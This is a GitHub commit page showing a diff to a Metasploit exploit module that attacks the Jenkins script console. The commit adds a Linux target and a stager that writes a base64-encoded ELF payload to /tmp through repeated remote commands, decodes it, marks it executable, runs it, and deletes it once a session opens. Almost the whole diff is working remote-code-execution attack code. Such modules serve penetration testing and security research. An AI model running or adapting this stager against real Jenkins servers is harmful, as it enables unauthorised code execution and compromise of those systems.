Skip to content

Commit ae247c1

Browse files
committed
Merge pull request #1 from jvazquez-r7/jenkins_script_console_mod
Added target for linux stager
2 parents 6b40011 + aed71f8 commit ae247c1

File tree

1 file changed

+41
-4
lines changed

1 file changed

+41
-4
lines changed

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 41 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
include Msf::Exploit::Remote::HttpClient
1414
include Msf::Exploit::CmdStagerVBS
15+
include Msf::Exploit::FileDropper
1516

1617
def initialize(info = {})
1718
super(update_info(info,
@@ -36,8 +37,9 @@ def initialize(info = {})
3637
],
3738
'Targets' =>
3839
[
39-
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
40-
['Unix', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
40+
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
41+
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
42+
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
4143
],
4244
'DisclosureDate' => 'Jan 18 2013',
4345
'DefaultTarget' => 0))
@@ -46,7 +48,7 @@ def initialize(info = {})
4648
[
4749
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
4850
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
49-
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
51+
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
5052
], self.class)
5153
end
5254

@@ -62,6 +64,13 @@ def check
6264
end
6365
end
6466

67+
def on_new_session(client)
68+
if not @to_delete.nil?
69+
print_warning("Deleting #{@to_delete} payload file")
70+
execute_command("rm #{@to_delete}")
71+
end
72+
end
73+
6574
def http_send_command(cmd, opts = {})
6675
request_parameters = {
6776
'method' => 'POST',
@@ -100,9 +109,35 @@ def java_craft_runtime_exec(cmd)
100109
end
101110

102111
def execute_command(cmd, opts = {})
112+
vprint_status("Attempting to execute: #{cmd}")
103113
http_send_command("#{cmd}")
104114
end
105115

116+
def linux_stager
117+
cmds = "echo LINE | tee FILE"
118+
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
119+
base64 = Rex::Text.encode_base64(exe)
120+
base64.gsub!(/\=/, "\\u003d")
121+
file = rand_text_alphanumeric(4+rand(4))
122+
123+
execute_command("touch /tmp/#{file}.b64")
124+
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
125+
base64.each_line do |line|
126+
line.chomp!
127+
cmd = cmds
128+
cmd.gsub!(/LINE/, line)
129+
execute_command(cmds)
130+
end
131+
132+
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
133+
execute_command("chmod +x /tmp/#{file}")
134+
execute_command("rm /tmp/#{file}.b64")
135+
136+
execute_command("/tmp/#{file}")
137+
@to_delete = "/tmp/#{file}"
138+
end
139+
140+
106141
def exploit
107142
@uri = target_uri
108143
@uri.path = normalize_uri(@uri.path)
@@ -138,10 +173,12 @@ def exploit
138173
when 'win'
139174
print_status("#{rhost}:#{rport} - Sending VBS stager...")
140175
execute_cmdstager({:linemax => 2049})
141-
142176
when 'unix'
143177
print_status("#{rhost}:#{rport} - Sending payload...")
144178
http_send_command("#{payload.encoded}")
179+
when 'linux'
180+
print_status("#{rhost}:#{rport} - Sending Linux stager...")
181+
linux_stager
145182
end
146183

147184
handler

0 commit comments

Comments
 (0)